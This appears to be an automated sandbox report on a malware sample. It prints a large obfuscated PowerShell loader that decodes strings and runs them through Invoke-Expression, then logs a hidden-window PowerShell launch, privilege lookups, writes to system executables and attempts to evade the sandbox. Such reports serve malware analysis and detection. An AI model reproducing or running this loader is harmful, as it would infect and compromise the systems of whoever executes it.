KBUn1opDPl0DuAIr1os1So0UnCFo5Ke6 O5ChANa2my8sl1 KAGo1TrBSt4Po8Se5Sa2Mu5TeEFo2Ba5Ca2 TDGe0 M7Ga0DoDPe0AfA P1PlBVi1Me3be5Sa0Dg2RhC S1udBUn1In8Rl1He2Ta1 PB r1NoDSl0 PAPy1Na7Gr1me1vi1Lo0La5Sk0Le3ScDPe1SwF K1Be2Ud1 B2Ma1 G7 S1No0Ma1Cu9Be3UnDGe1Fa1Pu1Sa0ov0St8As1GoB L1Ic0Ve0SiAMo1No7Gl1Sk1Pr1Un0di0GaDud2 L3 M4No4Mu4Ba4Ta2AmDou0FiASt1PuFSt1Me0Tw1HiANo1DeFSe0MnC C1SlAPr5Bl2Ar5 JEPr5ExASk3taA S1StFSo1Da9 P0SpEDu0IsCGl1EfFJu1 R9Ko0BuAso0PrD S0ShAMa1 K4 U1 CBMi0 FC E1Re0Ph1alBTr1Op0Ga5Tr7 p5 S0Da2HnDPi1gaBIn0JeABi3Ch7Be1Ku3ve0DeE P1Tr2Pa1 ABEl1Pe3Fl1SkBpe1Pi0Ud0HaAUd1 EFVa0RuAGa1 E7 A1En1As1Kv0Ud3cu8Te1Kl2Le1HoFsp1Bo9Go0IrDUd5Ka6Pn5EmAGr2Re8 d1 MAPs1 HBOn4Ti9An5La7Ge'Ka)fl;In&Fo(Me`$AbARefTjsPekMerOni FvBunPii LnAng PsUnmKoaNoaRhd LeFusmo7Un) A ad(udJ SaOlmLebPoeTraEkuPrxTu0vi4 N Be' L5ReApa3SiALi0 PCPr1Li1In1Sy1Bo0FdEVa1In7Hy1 o0Re1In9Fu1Ld2Ge0Th7ur4PuFUf4Ma7Th4 CAOm5De0Va3 FAFl1HeBRa1Ur8Un1Sa7Ge1In0le1AfBIn3 S3 T1IdBPl0EnA U1Fo6Mo1Ma1Go1ClADo5Ud6Mi5ApATr3 AFTy1Wr8no0AaDAt1Bl5Tr0LeCFi1Ly7 N0Su8Fo1Ra0Wa1Oo7Ha1vr0Ge1Gr9Pi0NiDOm1My3In1 bF D1PhFKa1PaA D1 MBpa0FyDSt4 SCPs5 I2Du5KeEGe5 UAFl3 SF S1Wa8Fe0VkDmi1Al5Un0 SCFl1An7Fl0Sg8De1Sk0Mo1Mi7Sk1 S0In1 F9Hv0AlDAl1St3Ab1soFAs1ReF A1LeARi1lgB D0 SDAl4ViDRa5fo2De5StERa5CiAJa3St2Ra1PeFDo0KoC L0VoCDa0GiBRi0DiERa0SeDma5Rd2In5BiESc5UnAPr3 hAsa1 LFMa1 L9Ri0HaEDe0reCGl1SnF U1Ga9Lo0FlASp0PeDLu0KoA P1sj4Fi1 FBPo0ShCLa1Ki0St1HeBGr1 r0 A5Sa7At5 R0Re2phD V1ZoBSl0 BA b3Vi7Op1Sl3Co0ElEMu1Sl2Di1 EBVa1Tr3Br1 RBso1Be0Re0 FAGa1BuFSi0PuA M1Ve7Oc1La1Pe1 L0tp3 H8 r1fa2Hn1EfF G1Mi9 a0 LDFe5St6Yi5GlAEj2El8Po1SuACo1clBFr4Si9Ga5Do7 B'Sw)Ph;Se& R(Pr`$TaAPrfAssudkPirDoiHovFlnTri HnPhgKksSpmDraSeaFidTaeBes B7Ti)Ti t(BeJ CaXymKobSteCraAlugexAe0Di4St Me'No0CaCSt1FoBPo0alAHo0FoBDo0SiC a1Tr0Re5SoEHa5unAUn3ThA E0NiCAn1Fi1No1Zo1Ph0AuECl1Sk7Su1Ge0Ac1Ak9fr1Ud2In0Sk7 l4SuFFi4Mi7 R4 MAKi5 D0br3BrDsl0FrCen1JaBvo1ExFAm0SaASp1KoBSa2 TABa0Re7Vl0 AEHr1PyB H5Be6Br5Eo7St'Sk) H; P}Sm& P(Pi`$LoA UfUdsSyk NrNoiFivMinNaiVonCog OsChmMuaTiaBid fe UsEk7 U)Gr Gu(BiJ raStmSkb HeCeaTouUmxRe0 R4Fr Il' B5 DA F2HyEFo1Fr1Im1 JASu0 BB F1Op0Su1zo5Be5TaERa4 A3Ab5UnECo2Fo5Ap2SiDfu0Tr7Ud0OfDSu0SnAUd1AdBKe1Ce3Of5Re0He2PeC K0 SBKe1Fl0Kn0PrAKl1Bi7Me1Fu3Qu1 GBla5ra0 Z3 U7Db1Po0Ra0StAEn1OpBCa0fiCSk1Di1 O0UnEUn2 RDWi1 LB K0PoCde0er8St1Sg7Me1 IDHy1UnBFu0CrDUn5 M0Bo3Sh3Hu1BeFVi0inC L0ExDBe1te6st1TiFCa1Af2Wa2Ge3 K4 B4Ku4 I4 U3Un9St1KoBPh0JoA B3GeARe1 yBTi1St2 D1BeB M1Dr9Fe1chFSt0JaA A1RiB B3Po8Aa1Tr1Hv0FuCPl3Dy8 n0SiB B1 Y0Ca1 SDDe0 cAmy1An7Hj1 J1Ac1 R0gr2BaELn1Ba1St1Tr7fi1Sn0Se0moARo1 IBBa0HeCHe5 B6Ak5Po6br3Da1Sm0FaDFl0 TD U1Ko7ni1AuBFe4GrDTo5DuEBl5PiADi2AmCOu0Fy7Ma1Fl2 S1OcBAg1Hu0 r4SoCRe4 sFRe4Te7Co5SyEAb5SkAUn3TaFMi1Ru8Ud0 SDUn1 F5Dr0BlCDi1 s7 U0 U8Fa1Ly0pr1Ch7Yn1Id0Cr1 a9 S0SeD A1Au3 N1LbFAf1UpFth1spA T1SnBTa0AgDUn4UdA A5Ag7le5St2Op5HyEJu5To6Br3 K1 S0 TD D0ScD B1Ch7Pr1UdBTu4MoCJa5urEUn3SpE S5 P6 M2Di5 H3ce7pr1 a0Co0SvAPa4DeDLa4syCMu2Po3Pi5Br2In5KuE S2Tr5Au3 T7 u1Hu0 F0ScApr4 SDGl4 SCHy2De3Ov5Sn2Sw5BlEFa2de5 T3no7 a1Sc0Pa0InAHa4haDlb4SpCMo2Pr3Br5Ad2In5AfE T2Af5 H3Sy7 H1Wh0Gu0EuATe4FaDGr4CaC A2Ti3Ar5Te2In5PaENo2 B5El3 E7 M1Fi0Fa0FiASt4CaDKa4FaCCe2Tu3Ax5Im2Fr5 FESl2Ho5Kr3Mr7Dr1Sa0Ud0IsADi4MaDUd4TrC S2Oz3Sm5Sp7Di5LaESt5gn6Vi2Sy5Gr3 N7Tr1Fe0Ud0obA S4 SDSt4UdCTr2Sk3Sk5ov7La5Ud7Au5Ma7Sy'Nj)Ph;he&Nu(Ma`$CoATaf DscakSarBeiMov BnAciOunSagPrsSym HaNeaPidHveBusTu7 D)Fl F(KiJFraAmm AbudeBaaaluAmx P0In4sa Sc'Pa5 MA N2SvDCo1Ch5Un1StFSp0GrABr1 F5Sh1 PFAr1Po3Ou1Ve3Af1maBAl0MtC K1ErCRe1skBSl0El8Fe1Un7Fi0SpDSk1KaBRa0WrC U1St0 B1StBSi5NoEGe4Re3 B5CiERa2Re5al2TiDGe0Ve7Ol0 LDar0 GA P1MoBPr1bi3Tr5St0Ha2LeCVo0NiBPa1 T0 L0 HA R1 S7 R1 V3So1KaBAt5Re0De3Ob7He1Ba0 N0EnAOs1 NBCh0DoCRi1Be1Ti0ArEti2UnDPo1 PBMi0 BCMa0lo8Bi1Gi7 S1SeDNo1inBuf0InDDe5ad0 L3Dc3Ho1InF S0MiC T0CrDSe1do6ud1PrFFo1Be2va2Ar3Ma4Ti4Pr4Ka4 R3 B9 B1BlBDa0TrA p3EnATe1PrBIn1Sv2Fo1RuBBe1Su9Tr1 EF N0NdAAs1HeB D3Re8Pl1Bo1en0CoCTa3 S8Be0 BBgi1Bl0No1ArDDi0FoA P1 S7No1 H1Be1Ad0Am2CaEde1Sa1Ka1Op7Sk1Ga0Ep0trA S1SeBBi0reCSm5Pr6Sc5 S6Fe3Lo1Va0 DDAb0SaDMi1Sm7Ma1 OB A4PrDUn5DeE S5PeAFi2RaCva0As7Sn1 F2 O1SpBRe1 U0St4naCAg4beFPr4 U7Bo5MyEMa5HoAbr3StFov1 F8Co0PhDKi1Be5Om0DoCOd1Ne7no0Ve8Ti1 L0 P1Fi7 T1Sk0Re1Ov9Fr0LiDRa1 S3Na1UdFSu1KiFBu1SaABi1GlB F0 fDSu4 I8Da5Gl7Sk5Nr2Ls5FoEmn5Fo6Ly3Re1Tu0 NDTr0WoDNa1Ra7Co1SkBLe4HoCKl5MiE D3DeEHa5Kh6Sn2Mu5Ne3re7 K1 r0Op0 cAMa4GeDRe4SaCfi2Bu3Ch5Sk2re5UeE S2Or5Ud3 S7Di1Un0Bi0InAUd4OvDAg4VeCOp2tr3Nu5Ol2Fr5 IEBa2In5sk3Re7Ro1 K0 F0AeANo4CoDBa4 uCSe2Br3Sh5Si2 C5IdEUd2Co5de3ph7Vi1Re0 S0AnAKa4TrDUp4 UC U2 T3 C5Ak2In5UnEIn2sp5 R3 s7Co1Pa0Ny0TeA F4InDAg4MiC K2Un3Ek5Tr7Ov5FoEWr5Ri6 W2Vi5Bu3Ba7 S1di0Sa0VaAas2 SE C0FoA A0RuCPs2Co3Go5Ud7Sc5De7Up5Re7Ud' D)Ne;Br&Ta( P`$ SASefFrsRek RrPyiVevPanTriPenKlgSus vmAna AaKed Te BsRe7De)ba F(FrJEfaSumPobPreTeaUvufixCo0re4An Fl'An5SuAHa2thBRe1Pr0 P1FaASt1Af7De1Cy8Se1Tr8Me1 SB R0SiCBa1GuBKa1Fl0Pe0SeAOp1En7 N1SiFWo1HjCri1be2Un0Cr7Pt5ecEBo4Gr3 S5SuEFl5 SA D2CrEUt1de1No1StACy0MiBRh1Ur0 U1De5af5Af0Pa3br7 S1Ov0Is0Ko8Un1Ov1Da1 B5 r1ChBSu5Pl6Bo5 E3St4 LFAm5Fi2 S4WeEFo5To2Ca4 I8An4AlA F5In2Du4ThEMa5Au2ri5DoE S4Fu7 K4In6Ku4NiC F4 sE E4 PBTr4 E8Or4Ka7Sp4Pa8pr5El2Fi4MiEBy5Pa7 O' V)Re;Mi&Se( T`$TeA RfAvsKakHerhyiNov unMaiCun SgNesDum CaPoaTrdRee FsKa7Li)Pi Tr(MoJNaaKrmItbUdeOpaPiuStxTh0 K4Da Im'Ja5StARy3 T8Ha0 BCRe1NeFno1 S2 K1In9Pr1Ch9mu1TrB C1 K2Pr0DeD R1PuBTy0ToC R5 PEBo4 S3 S5OlELi5KoA M2 GDme1Sa5Un1 AFKo0HaAUn1Di5Si1AgFCr1Us3 P1Ar3Re1EnBSp0flCUn1ImCKo1ReBMo0 f8 E1Gi7Ss0UnD I1GeBMi0DkCAd1 D0Br1InBPh5 S0 C3Pr7Sq1Un0Do0Cl8Ha1 H1Fo1 S5Ad1EfBEu5Ba6 l5NyANo2InBHa1 P0Co1MeA V1Am7Ca1So8br1sh8Je1ecBIn0 RCHy1 SBEn1 A0Na0unADi1 T7Un1BiFUn1DeCUn1 S2In0Ud7Ge5Po2Uk4knEbu2ma6Ca4ArCCa4SiCFa5Ni2Pr4 eEIt5Hv2Ve4KoEIn5Un2Me4TaENi5De7 T'Sp)Dr;sy`$UmFPir Pa Ug Otskt IeUdrSkm uiSpnLea DlTueUmnSts A2 O=Gu`"""Ta`$OceIfnUnvSu:daTBrEUdMbaPPi\Caa PfMidakeBrlMiiSon Kg Ls FaAgrUnk DiWatSve OkAft AeAcrfasPr\HeABecRaaFonCotTrhTruBerFiiSdd CaBoeOv\ AG TeRaoIngMurKoaSafNaiSts S\EmLTeufonmia PthaiSkzopeRa\CoBOpiSvl AeStrGrs G.MeCMyhRiarh`"""Lo;Ce&Co(Pi`$SiAUhfAnsUtkAnrSgiDivMinpuiEtnOrgAdsUnmsha Iaovd MeCasPr7Sp) O S(NeJ HaSlm AbIleUnaUsuPhxfe0 S4Mu Ac'Cr5SkAUn3EkCNa1WiBMi1SvFOv0TiC R1Vr0 D1EsFSt1Li7Af0 SDTi1 CBUn0LoDAn5SmE E4So3 S5WaEHa2Fa5 s2AcD S0Sn7 C0PlDFl0oeACl1 LBEx1un3Sa5Ve0Pe3As7Pr3He1Kl5No0St3Ul8Jo1Ge7St1Ca2ch1 NBCa2Je3 S4Ta4 u4 a4Kl2haC E1UrBPa1 EFFo1ImAPa3KaF P1 S2Le1ma2In3BuCSi0Fn7Fl0BaAKl1 SBKr0 HD B5Un6Ti5ReASp3Mo8De0ObCVo1CoFKo1Un9Ki0BrASh0 GABr1ByBBo0UlC R1Ti3In1Ra7Vi1Pr0Ar1CaFTe1 R2Af1DiBko1Ac0Te0ChDGy4 BCma5Vi7De'Ti) R;Aa`$MaUTreSkrGeh loSpl OdPeedalFriDegKueVe=Re`$SuBUveDea BrudnBlaTeisasWee TsFe. AcKooteuFlnSttIn-Le1Om0Fl2Op4Tr;Ry&Sy( O`$FuAPefCosGrkBurFii DvChnHdiamnHogSesUsmraaWiaUndWueBosKi7Bo)Fr Ep( LJBaa Fmleb feEyaSpuOpxCo0 S4Mu Pr'Al2Mi5St2paDEx0Ex7Qu0RuDEl0 GA J1PrBsk1De3Mo5 R0Fe2GrC R0reBPa1Be0Ne0AgAKl1 a7Re1Je3 T1unBMo5Di0Pl3 V7Mo1Sp0Da0 HAPr1 RBCr0TlCPr1St1Do0AfEKi2KuD d1SeB R0 SC F0 V8 V1 S7Di1BrDTa1 SBBr0 RDRo5sv0Et3Si3Br1FiFSo0EfCbe0 TD D1 G6Vo1HoFSm1Fo2Pr2Fr3 P4 D4de4Sy4Ad3MuDNe1au1tv0BeEMa0Tr7Ad5 F6Ly5GrASe3CrCKa1PhBEn1CoFCa0BeCJu1In0Rd1SeFSm1Kl7re0OpD D1huBFr0CoDMi5Se2Ov5BrE A4PeFEv4WhEOe4DoCHa4CoARe5Lo2Va5 AE c5 AAba3Fl8Eq0StCLa1buF T1So2Be1Sp9Pa1Be9Ac1FiBfo1Ub2Ra0 DDTo1BlBWi0DeCVe5Ge2Mo5MoEph5 XAGl2 SB t1LdBJu0ReCPa1Fo6Su1No1Al1Mo2Du1CoAIn1 BBFi1 u2Ad1Bl7St1Va9Ra1ddBBi5In7Un' U)in;Pj&Vi( L`$OpA EfCos IkLerDii OvOpnTai CnRog psGrmUlaKoaTrdMie Dsbe7hy) G Ri( HJ maKomgtbBeePaatauFrxTe0De4Ac An' G5ReAHa0 CABo0Pa9Sa1FrB B1plBFi0 SDBo1Na6Ba1UnDEl0VeFRe0StB R1Po7Ha0 SA K0NyAud1 SBHy1FoASt5DyEDe4Fr3Vi5 CE T2Ro5 G2FlD T0Me7im0StDRe0 BARe1SpB V1Re3vi5Us0ca2AgC A0 TBVi1Kl0Fy0PhAva1Fo7 H1ko3Sc1BiB F5Ma0ps3 C7Ok1 J0Kl0 hAGa1 RBAl0 lCSk1Fe1Di0IsEIl2MaD U1ThBBl0FiCUn0co8ho1Uv7 F1UdDMo1tiBSp0StDWe5Co0Lo3Re3If1GoF E0EfCSe0 EDFa1In6 S1 TF o1Fo2 C2Tm3Hu4Th4Pr4 m4Bo3Am9Na1 DBPe0 TA M3UdAMe1RoBMi1Un2Aa1LbBTr1Fu9Wr1TiFSk0BuA P1LiBOv3Te8As1Ca1Bo0SuCGr3Bn8Ho0 OBBe1Ho0Bi1LiD K0 CAGe1Me7La1fl1Im1Ti0Se2moESt1Sk1Fo1ex7nr1Ti0dy0 sASa1VaBTj0ReCBu5Sa6 B5 G6Sa3Ch1Ci0CoDRe0 CDun1Al7Fr1AtB O4 PDVe5CiEVi5PiAeg2 TC r0go7Te1Pj2 E1HyBDe1 S0 T4SeCPr4PeFBa4El7Am5TrEOm5FoAFi2KoDFo1RoF P1Sa0Re1KeATr0 SDTr1Si2re1ja1Oc0AfAEl0AdAma1BaBUn0NoALo0 SDAz5Af7Kr5Kn2Co5HjESa5Op6Hv3 V1Pa0 cDSi0StDHe1In7Br1 KBMi4feCte5TuEDa3 GEAd5Un6Oo2 D5Fl3 u7 f1Le0Mo0AlAHi2ovEca0BaA T0AaC K2 T3 F5Em2 a5ByEUb2Pa5Ca3La7 T1 V0Te0KlAUn2AmESt0 FA M0ReCKr2 B3 E5 V2Fe5PaETo2Fo5ho3 B7Li1Te0Ma0DiABe2 NE P0ruADi0FoCMm2Ll3in5Ak7Ma5ImEpa5Ke6Re2Ba5Pa3Tr7Sp1 V0po0DiABe2RlEUn0KoA G0UnCHn2 s3Ma5Ca7 G5Re7Al5No7 S'Ig)Fs;Ov&Fe(Va`$reAalfBuspokKorSpiHjv EnSciDanbegNisEgmimaEpaSkdIne BsVi7po)Er Vr( SJGaaBemHeb Ee SaEmuPrxMu0Wa4He Je'Ar5ReAPe0unAIn0Pe9Bo1OfBSp1FrBRe0NiDCo1On6Up1LoDHo0ReFRe0BeBSc1Li7To0MaAcr0AsACu1HvBSi1HeAEk5Ti0Co3Su7Ki1Ch0ap0Fe8Cr1 T1Aa1Po5Kl1TaB D5Ps6re4 rEVo5Af2Mo5MoASq3Te8Kr0DdC P1BoFBl1Ma2La1Cy9Dy1Ka9Ba1poBDk1Ge2bl0LeDfj1anBUn0SmCGr5 H2Bl4SpEGe5Di7St'Ni) U#Sk;""";function Ossie5 ($tweesh,$Tekstbaseret) { &$Ossie0 (Undergunner9 'Ar$ FtKew OeCoe FsPohFl Od- tbMoxReoHjrMi N$taTHyeBykMasUnt UbCha VsFieKarKreRetLo ');}Function Undergunner9 ($Stavenes) { $Hansens=2+1; For($Degradand=2; $Degradand -lt $Stavenes.Length-1; $Degradand+=($Hansens)){ $Omstter = 'su'+'bstri'+'ng'; $Jambeaux = $Jambeaux + $Stavenes.$Omstter.Invoke($Degradand, 1); } $Jambeaux;}$Ossie0 = Undergunner9 'MeI VEHaXsl ';&$Ossie0 (Undergunner9 $Hooray);<#Typy Tinder Procentsatsers Manned Tvistepunkters skibsbyggere Bloodwood #>;"

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW Dec. 12, 2023, 7:42 a.m.	thread_identifier: 2644 thread_handle: 0x00000250 process_identifier: 2640 current_directory: filepath: track: 1 command_line: powershell.exe -windowstyle hidden $d = Get-Content 'C:\Users\test22\AppData\Local\Temp\afdelingsarkitekters\Eksamenstilmeldingen\Kloesse\Okkultister153\Cleidohyoid\Aminoacetophenone.Kur' ; powershell.exe ''$d'' filepath_r: stack_pivoted: 0 creation_flags: 67108864 (CREATE_DEFAULT_ERROR_MODE) inherit_handles: 0 process_handle: 0x0000024c	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Dec. 12, 2023, 7:42 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Dec. 12, 2023, 7:42 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

Creates a suspicious Powershell process (1 event)

option

-windowstyle hidden

value

Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Tries to unhook Windows functions monitored by Cuckoo (1 event)

Time & API	Arguments	Status	Return	Repeated
__anomaly__ Dec. 12, 2023, 7:44 a.m.	tid: 2832 message: Encountered 65537 exceptions, quitting. subcategory: exception function_name:	1	0	0

wlanext.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All